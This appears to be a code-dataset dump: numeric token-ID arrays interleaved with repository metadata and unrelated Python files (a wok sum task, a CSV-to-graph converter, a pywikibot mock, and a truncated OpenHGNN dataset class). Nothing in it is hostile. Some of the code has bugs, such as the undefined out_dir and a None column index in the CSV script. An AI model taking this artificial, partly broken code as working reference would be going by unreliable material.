[ 1, 529, 276, 1112, 420, 29958, 29881, 6859, 326, 29929, 29941, 29914, 29887, 3774, 295, 29899, 2096, 29899, 7720, 11526, 13, 5215, 330, 962, 13, 5215, 12655, 408, 7442, 13, 3166, 330, 962, 1053, 8162, 13, 13, 13, 1990, 11657, 11526, 21745, 29898, 29887, 962, 29889, 21745, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1948, 29892, 784, 29892, 302, 29918, 2467, 1125, 13, 4706, 2428, 29898, 5756, 11526, 21745, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 13, 4706, 1583, 29889, 798, 353, 1948, 13, 4706, 1583, 29889, 1054, 353, 784, 13, 4706, 1583, 29889, 5182, 29918, 2029, 353, 7442, 29889, 2378, 4197, 29896, 29892, 29871, 29900, 1402, 26688, 29922, 9302, 29889, 13470, 29896, 29953, 29897, 13, 13, 4706, 1583, 29889, 26739, 362, 29918, 3493, 353, 8162, 29889, 3313, 29898, 677, 10457, 29896, 1696, 1880, 29922, 29896, 1696, 8267, 7607, 29906, 29892, 511, 26688, 29922, 9302, 29889, 7411, 29941, 29906, 29897, 13, 4706, 1583, 29889, 2467, 29918, 3493, 353, 8162, 29889, 4205, 9084, 29898, 29876, 29918, 2467, 29897, 13, 13, 1678, 822, 4331, 29898, 1311, 29892, 3158, 1125, 13, 4706, 1583, 3032, 19730, 29918, 2467, 29898, 2467, 29897, 13, 13, 4706, 2446, 29918, 26739, 362, 353, 1583, 3032, 657, 29918, 8945, 675, 29918, 2029, 580, 13, 4706, 20751, 353, 29871, 29896, 565, 7442, 29889, 2378, 29918, 11745, 29898, 1311, 29889, 14748, 29918, 2029, 29892, 1583, 29889, 5182, 29918, 2029, 29897, 338, 5852, 1683, 29871, 29900, 13, 4706, 2309, 353, 5852, 565, 7442, 29889, 2378, 29918, 11745, 29898, 1311, 29889, 14748, 29918, 2029, 29892, 1583, 29889, 5182, 29918, 2029, 29897, 338, 5852, 1683, 7700, 13, 13, 4706, 736, 313, 4622, 29918, 26739, 362, 29892, 20751, 29892, 2309, 29892, 426, 1800, 13, 13, 1678, 822, 10092, 29898, 1311, 1125, 13, 4706, 1583, 3032, 2344, 29918, 6272, 580, 13, 4706, 736, 1583, 3032, 657, 29918, 8945, 675, 29918, 2029, 580, 13, 13, 1678, 822, 4050, 29898, 1311, 1125, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 580, 13, 13, 1678, 822, 903, 2344, 29918, 6272, 29898, 1311, 1125, 13, 4706, 1583, 29889, 14748, 29918, 2029, 353, 7442, 29889, 2378, 4197, 29900, 29892, 1583, 29889, 1054, 849, 29871, 29906, 1402, 26688, 29922, 9302, 29889, 13470, 29896, 29953, 29897, 13, 13, 1678, 822, 903, 657, 29918, 8945, 675, 29918, 2029, 29898, 1311, 1125, 13, 4706, 4226, 1891, 29918, 2029, 353, 7442, 29889, 2378, 4197, 13, 9651, 1583, 29889, 14748, 29918, 2029, 29961, 29900, 29962, 847, 5785, 29898, 1311, 29889, 798, 511, 13, 9651, 1583, 29889, 14748, 29918, 2029, 29961, 29896, 29962, 847, 5785, 29898, 1311, 29889, 1054, 29897, 2314, 13, 4706, 736, 4226, 1891, 29918, 2029, 13, 13, 1678, 822, 903, 19730, 29918, 2467, 29898, 1311, 29892, 3158, 1125, 13, 4706, 3158, 353, 7442, 29889, 1191, 3317, 29898, 2467, 29897, 13, 4706, 565, 3158, 1275, 29871, 29900, 29901, 13, 9651, 716, 29918, 2029, 353, 1583, 29889, 14748, 29918, 2029, 29961, 29900, 29962, 448, 29871, 29896, 13, 9651, 565, 716, 29918, 2029, 529, 29871, 29900, 29901, 13, 18884, 716, 29918, 2029, 353, 29871, 29900, 29871, 396, 4451, 310, 3216, 13, 9651, 1583, 29889, 14748, 29918, 2029, 353, 7442, 29889, 2378, 4197, 1482, 29918, 2029, 29892, 1583, 29889, 14748, 29918, 2029, 29961, 29896, 24960, 13, 268, 13, 4706, 25342, 3158, 1275, 29871, 29896, 29901, 13, 9651, 716, 29918, 2029, 353, 1583, 29889, 14748, 29918, 2029, 29961, 29900, 29962, 718, 29871, 29896, 13, 9651, 565, 716, 29918, 2029, 6736, 1583, 29889, 798, 29901, 13, 18884, 716, 29918, 2029, 353, 1583, 29889, 798, 448, 29871, 29896, 29871, 396, 4451, 310, 3216, 13, 9651, 1583, 29889, 14748, 29918, 2029, 353, 7442, 29889, 2378, 4197, 1482, 29918, 2029, 29892, 1583, 29889, 14748, 29918, 2029, 29961, 29896, 24960, 13, 268, 13, 4706, 25342, 3158, 1275, 29871, 29906, 29901, 13, 9651, 716, 29918, 2029, 353, 1583, 29889, 14748, 29918, 2029, 29961, 29896, 29962, 718, 29871, 29896, 13, 9651, 565, 716, 29918, 2029, 6736, 1583, 29889, 1054, 29901, 13, 18884, 716, 29918, 2029, 353, 1583, 29889, 1054, 448, 29871, 29896, 29871, 396, 4451, 310, 3216, 13, 9651, 1583, 29889, 14748, 29918, 2029, 353, 7442, 29889, 2378, 4197, 1311, 29889, 14748, 29918, 2029, 29961, 29900, 1402, 716, 29918, 2029, 2314, 13, 268, 13, 4706, 25342, 3158, 1275, 29871, 29941, 29901, 13, 9651, 716, 29918, 2029, 353, 1583, 29889, 14748, 29918, 2029, 29961, 29896, 29962, 448, 29871, 29896, 13, 9651, 565, 716, 29918, 2029, 529, 29871, 29900, 29901, 29871, 13, 18884, 716, 29918, 2029, 353, 29871, 29900, 29871, 396, 4451, 310, 3216, 13, 9651, 1583, 29889, 14748, 29918, 2029, 353, 7442, 29889, 2378, 4197, 1311, 29889, 14748, 29918, 2029, 29961, 29900, 1402, 716, 29918, 2029, 2314, 13, 268, 13, 4706, 1683, 29901, 13, 9651, 12020, 7865, 2392, 703, 29956, 29373, 3158, 1159, 13, 2 ]
chapter2/wok/develop/examples/multiport/sum.py
chris-zen/phd-thesis
1
30523
<reponame>chris-zen/phd-thesis<filename>chapter2/wok/develop/examples/multiport/sum.py<gh_stars>1-10 from wok.task import task @task.main() def main(): values, count_port, sum_port = task.ports("x", "count", "sum") count = 0 sum = 0 for v in values: task.logger.info("value = {0}".format(v)) count += 1 sum += v task.logger.info("Sum of {0} numbers = {1}".format(count, sum)) count_port.send(count) sum_port.send(sum) task.run()
[ 1, 529, 276, 1112, 420, 29958, 305, 3780, 29899, 2256, 29914, 561, 29881, 29899, 26533, 29966, 9507, 29958, 27349, 29906, 29914, 29893, 554, 29914, 4888, 29914, 19057, 29914, 9910, 637, 29914, 2083, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 281, 554, 29889, 7662, 1053, 3414, 13, 13, 29992, 7662, 29889, 3396, 580, 13, 1753, 1667, 7295, 13, 13, 12, 5975, 29892, 2302, 29918, 637, 29892, 2533, 29918, 637, 353, 3414, 29889, 4011, 703, 29916, 613, 376, 2798, 613, 376, 2083, 1159, 13, 13, 12, 2798, 353, 29871, 29900, 13, 12, 2083, 353, 29871, 29900, 13, 12, 1454, 325, 297, 1819, 29901, 13, 12, 12, 7662, 29889, 21707, 29889, 3888, 703, 1767, 353, 426, 29900, 29913, 1642, 4830, 29898, 29894, 876, 13, 12, 12, 2798, 4619, 29871, 29896, 13, 12, 12, 2083, 4619, 325, 13, 13, 12, 7662, 29889, 21707, 29889, 3888, 703, 11139, 310, 426, 29900, 29913, 3694, 353, 426, 29896, 29913, 1642, 4830, 29898, 2798, 29892, 2533, 876, 13, 13, 12, 2798, 29918, 637, 29889, 6717, 29898, 2798, 29897, 13, 12, 2083, 29918, 637, 29889, 6717, 29898, 2083, 29897, 13, 13, 7662, 29889, 3389, 580, 13, 2 ]
csv_to_weighted_digraph.py
weberdc/socmed_repeatability
2
107171
<reponame>weberdc/socmed_repeatability #!/usr/bin/env python3 from __future__ import print_function from argparse import ArgumentParser import csv import networkx as nx import ntpath # https://stackoverflow.com/a/8384788 import os import sys class Options: def __init__(self): self.usage = 'csv_to_weighted_digraph.py -f <csvfilename> -s <srccol> -t <tgtcol> [-k <kindcol> -v -o <outdir>]' self._init_parser() def _init_parser(self): self.parser = ArgumentParser( #usage=self.usage, conflict_handler='resolve' ) self.parser.add_argument( '-v', '--verbose', action='store_true', default=False, dest='verbose', help='Turn on verbose logging (default: False)' ) self.parser.add_argument( '-h', '--header', action='store_true', default=False, dest='expect_header', help='Expect a header when reading the CSV file (default: False)' ) self.parser.add_argument( '--case-insensitive', action='store_true', default=False, dest='case_insensitive', help='Force string comparisons to be case-insensitive (default: False)' ) self.parser.add_argument( '-s', '--src-col', dest='src_col', required=True, type=int, help='Column for source nodes IDs (column index starts at 1)' ) self.parser.add_argument( '-t', '--tgt-col', dest='tgt_col', required=True, type=int, help='Column for target nodes IDs (column index starts at 1)' ) self.parser.add_argument( '-k', '--kind-col', default=None, dest='type_col', type=int, help='Column with link types (column index starts at 1)' ) self.parser.add_argument( '--src-type', dest='src_type', default='USER', help='Value for n_type property on source nodes (default: USER)' ) self.parser.add_argument( '--tgt-type', dest='tgt_type', default='USER', help='Value for n_type property on target nodes (default: USER)' ) self.parser.add_argument( '-f', '--csvfile', dest='csv_file', required=True, help='CSV filename to read' ) self.parser.add_argument( '-o', '--out-file', dest='out_file', default=None, required=False, help='Filename to which to write output (default <infile-".csv">.graphml)' ) def parse(self, args=None): return self.parser.parse_args(args) def extract_parent_dir(filepath, default_dir='./'): if not filepath: return default_dir return os.path.abspath(os.path.join(filepath, os.pardir)) def extract_filename(filepath, default_name='UNKNOWN.txt'): if not filepath: return default_name head, tail = ntpath.split(filepath) filename = tail or ntpath.basename(head) return os.path.splitext(filename)[0] def eprint(*args, **kwargs): """Print to stderr""" print(*args, file=sys.stderr, **kwargs) DEBUG=False def log(msg): if DEBUG: eprint(msg) if __name__=='__main__': options = Options() opts = options.parse(sys.argv[1:]) DEBUG=opts.verbose log('Inspecting CSV file %s' % opts.csv_file) csv_file = opts.csv_file src_col = opts.src_col - 1 tgt_col = opts.tgt_col - 1 type_col = opts.type_col - 1 out_file = opts.out_file header = opts.expect_header src_type = opts.src_type tgt_type = opts.tgt_type ci = opts.case_insensitive g = nx.DiGraph() with open(csv_file, encoding='utf-8') as f: csv_reader = csv.reader(f, delimiter=',') # handles URLs with commas line_count = 0 for row in csv_reader: # print('linecount: %d, header: %s' % (line_count, header)) line_count += 1 if line_count == 1 and header: continue src = row[src_col] tgt = row[tgt_col] e_t = row[type_col] if ci: src = src.lower() tgt = tgt.lower() if g.has_edge(src, tgt): g[src][tgt]['weight'] += 1.0 else: if not g.has_node(src): g.add_node(src, label=src, n_type=src_type) if not g.has_node(tgt): g.add_node(tgt, label=tgt, n_type=tgt_type) g.add_edge(src, tgt, weight=1.0, e_type=e_t) line_count += 1 if not out_file: out_file = os.path.join(out_dir, '%s.graphml' % extract_filename(csv_file)) parent_dir = extract_parent_dir(out_file) if not os.path.exists(parent_dir): os.mkdir(parent_dir) nx.write_graphml(g, out_file) log('Wrote graph to %s' % out_file)
[ 1, 529, 276, 1112, 420, 29958, 705, 495, 13891, 29914, 29879, 542, 2168, 29918, 14358, 3097, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 13, 3166, 1852, 5510, 1053, 23125, 11726, 13, 13, 13, 5215, 11799, 13, 5215, 3564, 29916, 408, 302, 29916, 13, 5215, 302, 29873, 2084, 29871, 396, 2045, 597, 2417, 29889, 510, 29914, 29874, 29914, 29947, 29941, 29947, 29946, 29955, 29947, 29947, 13, 5215, 2897, 13, 5215, 10876, 13, 13, 13, 1990, 25186, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 21125, 353, 525, 7638, 29918, 517, 29918, 7915, 287, 29918, 7501, 1140, 29889, 2272, 448, 29888, 529, 7638, 9507, 29958, 448, 29879, 529, 21935, 617, 324, 29958, 448, 29873, 529, 29873, 4141, 1054, 29958, 21069, 29895, 529, 14380, 1054, 29958, 448, 29894, 448, 29877, 529, 449, 3972, 29958, 29962, 29915, 13, 4706, 1583, 3032, 2344, 29918, 16680, 580, 13, 13, 1678, 822, 903, 2344, 29918, 16680, 29898, 1311, 1125, 13, 13, 4706, 1583, 29889, 16680, 353, 23125, 11726, 29898, 13, 9651, 396, 21125, 29922, 1311, 29889, 21125, 29892, 13, 9651, 14529, 29918, 13789, 2433, 17863, 29915, 13, 4706, 1723, 13, 4706, 1583, 29889, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 17411, 29894, 742, 525, 489, 369, 15828, 742, 13, 9651, 3158, 2433, 8899, 29918, 3009, 742, 13, 9651, 2322, 29922, 8824, 29892, 13, 9651, 2731, 2433, 369, 15828, 742, 13, 9651, 1371, 2433, 27407, 373, 26952, 12183, 313, 4381, 29901, 7700, 16029, 13, 4706, 1723, 13, 4706, 1583, 29889, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 17411, 29882, 742, 525, 489, 6672, 742, 13, 9651, 3158, 2433, 8899, 29918, 3009, 742, 13, 9651, 2322, 29922, 8824, 29892, 13, 9651, 2731, 2433, 17854, 29918, 6672, 742, 13, 9651, 1371, 2433, 1252, 1103, 263, 4839, 746, 5183, 278, 16874, 934, 313, 4381, 29901, 7700, 16029, 13, 4706, 1723, 13, 4706, 1583, 29889, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 525, 489, 4878, 29899, 1144, 575, 3321, 742, 13, 9651, 3158, 2433, 8899, 29918, 3009, 742, 13, 9651, 2322, 29922, 8824, 29892, 13, 9651, 2731, 2433, 4878, 29918, 1144, 575, 3321, 742, 13, 9651, 1371, 2433, 2831, 346, 1347, 5734, 14125, 304, 367, 1206, 29899, 1144, 575, 3321, 313, 4381, 29901, 7700, 16029, 13, 4706, 1723, 13, 4706, 1583, 29889, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 17411, 29879, 742, 525, 489, 4351, 29899, 1054, 742, 13, 9651, 2731, 2433, 4351, 29918, 1054, 742, 13, 9651, 3734, 29922, 5574, 29892, 13, 9651, 1134, 29922, 524, 29892, 13, 9651, 1371, 2433, 4409, 363, 2752, 7573, 23481, 313, 4914, 2380, 8665, 472, 29871, 29896, 16029, 13, 4706, 1723, 13, 4706, 1583, 29889, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 17411, 29873, 742, 525, 489, 29873, 4141, 29899, 1054, 742, 13, 9651, 2731, 2433, 29873, 4141, 29918, 1054, 742, 13, 9651, 3734, 29922, 5574, 29892, 13, 9651, 1134, 29922, 524, 29892, 13, 9651, 1371, 2433, 4409, 363, 3646, 7573, 23481, 313, 4914, 2380, 8665, 472, 29871, 29896, 16029, 13, 4706, 1723, 13, 4706, 1583, 29889, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 17411, 29895, 742, 525, 489, 14380, 29899, 1054, 742, 13, 9651, 2322, 29922, 8516, 29892, 13, 9651, 2731, 2433, 1853, 29918, 1054, 742, 13, 9651, 1134, 29922, 524, 29892, 13, 9651, 1371, 2433, 4409, 411, 1544, 4072, 313, 4914, 2380, 8665, 472, 29871, 29896, 16029, 13, 4706, 1723, 13, 4706, 1583, 29889, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 525, 489, 4351, 29899, 1853, 742, 13, 9651, 2731, 2433, 4351, 29918, 1853, 742, 13, 9651, 2322, 2433, 11889, 742, 13, 9651, 1371, 2433, 1917, 363, 302, 29918, 1853, 2875, 373, 2752, 7573, 313, 4381, 29901, 3148, 1001, 16029, 13, 4706, 1723, 13, 4706, 1583, 29889, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 525, 489, 29873, 4141, 29899, 1853, 742, 13, 9651, 2731, 2433, 29873, 4141, 29918, 1853, 742, 13, 9651, 2322, 2433, 11889, 742, 13, 9651, 1371, 2433, 1917, 363, 302, 29918, 1853, 2875, 373, 3646, 7573, 313, 4381, 29901, 3148, 1001, 16029, 13, 4706, 1723, 13, 4706, 1583, 29889, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 17411, 29888, 742, 525, 489, 7638, 1445, 742, 13, 9651, 2731, 2433, 7638, 29918, 1445, 742, 13, 9651, 3734, 29922, 5574, 29892, 13, 9651, 1371, 2433, 29907, 7597, 10422, 304, 1303, 29915, 13, 4706, 1723, 13, 4706, 1583, 29889, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 17411, 29877, 742, 525, 489, 449, 29899, 1445, 742, 13, 9651, 2731, 2433, 449, 29918, 1445, 742, 13, 9651, 2322, 29922, 8516, 29892, 13, 9651, 3734, 29922, 8824, 29892, 13, 9651, 1371, 2433, 3434, 3871, 304, 607, 304, 2436, 1962, 313, 4381, 529, 262, 1445, 29899, 1642, 7638, 1013, 29889, 4262, 828, 16029, 13, 4706, 1723, 13, 13, 13, 1678, 822, 6088, 29898, 1311, 29892, 6389, 29922, 8516, 1125, 13, 4706, 736, 1583, 29889, 16680, 29889, 5510, 29918, 5085, 29898, 5085, 29897, 13, 13, 13, 1753, 6597, 29918, 3560, 29918, 3972, 29898, 1445, 2084, 29892, 2322, 29918, 3972, 2433, 6904, 29374, 13, 1678, 565, 451, 934, 2084, 29901, 13, 4706, 736, 2322, 29918, 3972, 13, 13, 1678, 736, 2897, 29889, 2084, 29889, 370, 1028, 493, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1445, 2084, 29892, 2897, 29889, 29886, 538, 381, 876, 13, 13, 13, 1753, 6597, 29918, 9507, 29898, 1445, 2084, 29892, 2322, 29918, 978, 2433, 3904, 29968, 6632, 16048, 29889, 3945, 29374, 13, 1678, 565, 451, 934, 2084, 29901, 13, 4706, 736, 2322, 29918, 978, 13, 13, 1678, 2343, 29892, 12464, 353, 302, 29873, 2084, 29889, 5451, 29898, 1445, 2084, 29897, 13, 1678, 10422, 353, 12464, 470, 302, 29873, 2084, 29889, 6500, 3871, 29898, 2813, 29897, 13, 1678, 736, 2897, 29889, 2084, 29889, 23579, 568, 486, 29898, 9507, 9601, 29900, 29962, 13, 13, 13, 1753, 321, 2158, 10456, 5085, 29892, 3579, 19290, 1125, 13, 1678, 9995, 11816, 304, 380, 20405, 15945, 29908, 13, 1678, 1596, 10456, 5085, 29892, 934, 29922, 9675, 29889, 303, 20405, 29892, 3579, 19290, 29897, 13, 13, 13, 18525, 29922, 8824, 13, 1753, 1480, 29898, 7645, 1125, 13, 1678, 565, 21681, 29901, 321, 2158, 29898, 7645, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1360, 29915, 1649, 3396, 1649, 2396, 13, 1678, 3987, 353, 25186, 580, 13, 1678, 29111, 353, 3987, 29889, 5510, 29898, 9675, 29889, 19218, 29961, 29896, 29901, 2314, 13, 13, 1678, 21681, 29922, 25707, 29889, 369, 15828, 13, 1678, 1480, 877, 797, 21494, 292, 16874, 934, 1273, 29879, 29915, 1273, 29111, 29889, 7638, 29918, 1445, 29897, 13, 13, 1678, 11799, 29918, 1445, 353, 29111, 29889, 7638, 29918, 1445, 13, 1678, 4765, 29918, 1054, 29871, 353, 29111, 29889, 4351, 29918, 1054, 448, 29871, 29896, 13, 1678, 260, 4141, 29918, 1054, 29871, 353, 29111, 29889, 29873, 4141, 29918, 1054, 448, 29871, 29896, 13, 1678, 1134, 29918, 1054, 353, 29111, 29889, 1853, 29918, 1054, 448, 29871, 29896, 13, 1678, 714, 29918, 1445, 353, 29111, 29889, 449, 29918, 1445, 13, 1678, 4839, 259, 353, 29111, 29889, 17854, 29918, 6672, 13, 1678, 4765, 29918, 1853, 353, 29111, 29889, 4351, 29918, 1853, 13, 1678, 260, 4141, 29918, 1853, 353, 29111, 29889, 29873, 4141, 29918, 1853, 13, 1678, 4583, 539, 353, 29111, 29889, 4878, 29918, 1144, 575, 3321, 13, 13, 1678, 330, 353, 302, 29916, 29889, 12130, 9527, 580, 13, 1678, 411, 1722, 29898, 7638, 29918, 1445, 29892, 8025, 2433, 9420, 29899, 29947, 1495, 408, 285, 29901, 13, 4706, 11799, 29918, 16950, 353, 11799, 29889, 16950, 29898, 29888, 29892, 28552, 29922, 742, 1495, 259, 396, 17766, 24295, 411, 844, 294, 13, 4706, 1196, 29918, 2798, 353, 29871, 29900, 13, 4706, 363, 1948, 297, 11799, 29918, 16950, 29901, 13, 9651, 396, 1596, 877, 1220, 2798, 29901, 1273, 29881, 29892, 4839, 29901, 1273, 29879, 29915, 1273, 313, 1220, 29918, 2798, 29892, 4839, 876, 13, 9651, 1196, 29918, 2798, 4619, 29871, 29896, 13, 9651, 565, 1196, 29918, 2798, 1275, 29871, 29896, 322, 4839, 29901, 13, 18884, 6773, 13, 13, 9651, 4765, 353, 1948, 29961, 4351, 29918, 1054, 29962, 13, 9651, 260, 4141, 353, 1948, 29961, 29873, 4141, 29918, 1054, 29962, 13, 9651, 321, 29918, 29873, 353, 1948, 29961, 1853, 29918, 1054, 29962, 13, 13, 9651, 565, 4583, 29901, 13, 18884, 4765, 353, 4765, 29889, 13609, 580, 13, 18884, 260, 4141, 353, 260, 4141, 29889, 13609, 580, 13, 13, 9651, 565, 330, 29889, 5349, 29918, 12864, 29898, 4351, 29892, 260, 4141, 1125, 13, 18884, 330, 29961, 4351, 3816, 29873, 4141, 22322, 7915, 2033, 4619, 29871, 29896, 29889, 29900, 13, 9651, 1683, 29901, 13, 18884, 565, 451, 330, 29889, 5349, 29918, 3177, 29898, 4351, 1125, 330, 29889, 1202, 29918, 3177, 29898, 4351, 29892, 3858, 29922, 4351, 29892, 302, 29918, 1853, 29922, 4351, 29918, 1853, 29897, 13, 18884, 565, 451, 330, 29889, 5349, 29918, 3177, 29898, 29873, 4141, 1125, 330, 29889, 1202, 29918, 3177, 29898, 29873, 4141, 29892, 3858, 29922, 29873, 4141, 29892, 302, 29918, 1853, 29922, 29873, 4141, 29918, 1853, 29897, 13, 18884, 330, 29889, 1202, 29918, 12864, 29898, 4351, 29892, 260, 4141, 29892, 7688, 29922, 29896, 29889, 29900, 29892, 321, 29918, 1853, 29922, 29872, 29918, 29873, 29897, 13, 13, 9651, 1196, 29918, 2798, 4619, 29871, 29896, 13, 13, 1678, 565, 451, 714, 29918, 1445, 29901, 13, 4706, 714, 29918, 1445, 353, 2897, 29889, 2084, 29889, 7122, 29898, 449, 29918, 3972, 29892, 14210, 29879, 29889, 4262, 828, 29915, 1273, 6597, 29918, 9507, 29898, 7638, 29918, 1445, 876, 13, 1678, 3847, 29918, 3972, 353, 6597, 29918, 3560, 29918, 3972, 29898, 449, 29918, 1445, 29897, 13, 1678, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 3560, 29918, 3972, 1125, 13, 4706, 2897, 29889, 11256, 3972, 29898, 3560, 29918, 3972, 29897, 13, 1678, 302, 29916, 29889, 3539, 29918, 4262, 828, 29898, 29887, 29892, 714, 29918, 1445, 29897, 13, 13, 1678, 1480, 877, 29956, 4859, 3983, 304, 1273, 29879, 29915, 1273, 714, 29918, 1445, 29897, 13, 2 ]
test_utils/mocks.py
radomd92/botjagwar
7
10422
from xml.dom import minidom import pywikibot from api.decorator import time_this SiteMock = pywikibot.Site class PageMock(pywikibot.Page): def __init__(self, *args, **kwargs): super(PageMock, self).__init__(*args, **kwargs) self.filename = "test_data/test_pages_%s.xml" % self.site.lang self.parsed = minidom.parse(open(self.filename, 'r')) self.pages = self.parsed.getElementsByTagName('page') def put(self, newtext, summary=None, watch=None, minor=True, botflag=None, force=False, asynchronous=False, callback=None, **kwargs): print(('Saving page [[%s]] through put' % self.title())) def save(self, summary=None, watch=None, minor=True, botflag=None, force=False, asynchronous=False, callback=None, apply_cosmetic_changes=None, quiet=False, **kwargs): print(('Saving page [[%s]] through save' % self.title())) def _save(self, summary=None, watch=None, minor=True, botflag=None, cc=None, quiet=False, **kwargs): print(('Saving page [[%s]] through save' % self.title())) @time_this('Page.get() method mock') def get(self, force=False, get_redirect=False, sysop=False): for page in self.pages: xml_title = page.getElementsByTagName( 'title')[0].childNodes[0].nodeValue if xml_title == self.title(): return page.getElementsByTagName( 'text')[0].childNodes[0].nodeValue print(('No page %s found in "%s"' % (self.title(), self.filename))) return '' p = PageMock(SiteMock('en', 'wiktionary'), 'gaon') e = p.get()
[ 1, 515, 4903, 29889, 3129, 1053, 1375, 333, 290, 13, 13, 5215, 11451, 2851, 747, 327, 13, 13, 3166, 7882, 29889, 19557, 1061, 1053, 931, 29918, 1366, 13, 13, 17033, 18680, 353, 11451, 2851, 747, 327, 29889, 17033, 13, 13, 13, 1990, 9305, 18680, 29898, 2272, 2851, 747, 327, 29889, 5074, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 2428, 29898, 5074, 18680, 29892, 1583, 467, 1649, 2344, 1649, 10456, 5085, 29892, 3579, 19290, 29897, 13, 4706, 1583, 29889, 9507, 353, 376, 1688, 29918, 1272, 29914, 1688, 29918, 12292, 29918, 29995, 29879, 29889, 3134, 29908, 1273, 1583, 29889, 2746, 29889, 3893, 13, 4706, 1583, 29889, 862, 8485, 353, 1375, 333, 290, 29889, 5510, 29898, 3150, 29898, 1311, 29889, 9507, 29892, 525, 29878, 8785, 13, 4706, 1583, 29889, 12292, 353, 1583, 29889, 862, 8485, 29889, 22266, 29269, 877, 3488, 1495, 13, 13, 1678, 822, 1925, 29898, 1311, 29892, 716, 726, 29892, 15837, 29922, 8516, 29892, 6505, 29922, 8516, 29892, 9461, 29922, 5574, 29892, 9225, 15581, 29922, 8516, 29892, 13, 9651, 4889, 29922, 8824, 29892, 20489, 29922, 8824, 29892, 6939, 29922, 8516, 29892, 3579, 19290, 1125, 13, 4706, 1596, 29898, 877, 29903, 5555, 1813, 5519, 29995, 29879, 5262, 1549, 1925, 29915, 1273, 1583, 29889, 3257, 22130, 13, 13, 1678, 822, 4078, 29898, 1311, 29892, 15837, 29922, 8516, 29892, 6505, 29922, 8516, 29892, 9461, 29922, 5574, 29892, 9225, 15581, 29922, 8516, 29892, 13, 632, 4889, 29922, 8824, 29892, 20489, 29922, 8824, 29892, 6939, 29922, 8516, 29892, 13, 632, 3394, 29918, 3944, 2527, 293, 29918, 25990, 29922, 8516, 29892, 11813, 29922, 8824, 29892, 3579, 19290, 1125, 13, 4706, 1596, 29898, 877, 29903, 5555, 1813, 5519, 29995, 29879, 5262, 1549, 4078, 29915, 1273, 1583, 29889, 3257, 22130, 13, 13, 1678, 822, 903, 7620, 29898, 1311, 29892, 15837, 29922, 8516, 29892, 6505, 29922, 8516, 29892, 9461, 29922, 5574, 29892, 9225, 15581, 29922, 8516, 29892, 13, 795, 21759, 29922, 8516, 29892, 11813, 29922, 8824, 29892, 3579, 19290, 1125, 13, 4706, 1596, 29898, 877, 29903, 5555, 1813, 5519, 29995, 29879, 5262, 1549, 4078, 29915, 1273, 1583, 29889, 3257, 22130, 13, 13, 1678, 732, 2230, 29918, 1366, 877, 5074, 29889, 657, 580, 1158, 11187, 1495, 13, 1678, 822, 679, 29898, 1311, 29892, 4889, 29922, 8824, 29892, 679, 29918, 17886, 29922, 8824, 29892, 10876, 459, 29922, 8824, 1125, 13, 4706, 363, 1813, 297, 1583, 29889, 12292, 29901, 13, 9651, 4903, 29918, 3257, 353, 1813, 29889, 22266, 29269, 29898, 13, 18884, 525, 3257, 29861, 29900, 1822, 5145, 20284, 29961, 29900, 1822, 3177, 1917, 13, 9651, 565, 4903, 29918, 3257, 1275, 1583, 29889, 3257, 7295, 13, 18884, 736, 1813, 29889, 22266, 29269, 29898, 13, 462, 1678, 525, 726, 29861, 29900, 1822, 5145, 20284, 29961, 29900, 1822, 3177, 1917, 13, 13, 4706, 1596, 29898, 877, 3782, 1813, 1273, 29879, 1476, 297, 11860, 29879, 29908, 29915, 1273, 313, 1311, 29889, 3257, 3285, 1583, 29889, 9507, 4961, 13, 4706, 736, 6629, 13, 13, 13, 29886, 353, 9305, 18680, 29898, 17033, 18680, 877, 264, 742, 525, 2851, 12757, 653, 5477, 525, 3249, 265, 1495, 13, 29872, 353, 282, 29889, 657, 580, 13, 2 ]
openhgnn/dataset/RecommendationDataset.py
zsy0828/OpenHGNN
0
193753
<reponame>zsy0828/OpenHGNN<filename>openhgnn/dataset/RecommendationDataset.py<gh_stars>0 import dgl import torch as th from . import BaseDataset, register_dataset from dgl.data.utils import load_graphs @register_dataset('recommendation') class RecommendationDataset(BaseDataset): """ """ def __init__(self,): super(RecommendationDataset, self).__init__() @register_dataset('test_link_prediction') class Test_Recommendation(RecommendationDataset): def __init__(self, dataset_name): super(RecommendationDataset, self).__init__() self.g = self.load_HIN('./openhgnn/debug/data.bin') self.target_link = 'user-item' self.has_feature = False self.preprocess() #self.generate_negative() def load_HIN(self, dataset_name): g, _ = load_graphs(dataset_name) return g[0] def preprocess(self): test_mask = self.g.edges[self.target_link].data['test_mask'] index = th.nonzero(test_mask).squeeze() self.test_edge = self.g.find_edges(index, self.target_link) self.pos_test_graph = dgl.heterograph({('user', 'user-item', 'item'): self.test_edge}, {ntype: self.g.number_of_nodes(ntype) for ntype in ['user', 'item']}) self.g.remove_edges(index, self.target_link) self.g.remove_edges(index, 'item-user') self.neg_test_graph, _ = dgl.load_graphs('./openhgnn/debug/neg.bin') self.neg_test_graph = self.neg_test_graph[0] return def generate_negative(self): k = 99 e = self.pos_test_graph.edges() neg_src = [] neg_dst = [] for i in range(self.pos_test_graph.number_of_edges()): src = e[0][i] exp = self.pos_test_graph.successors(src) dst = th.randint(high=self.g.number_of_nodes('item'), size=(k,)) for d in range(len(dst)): while dst[d] in exp: dst[d] = th.randint(high=self.g.number_of_nodes('item'), size=(1,)) src = src.repeat_interleave(k) 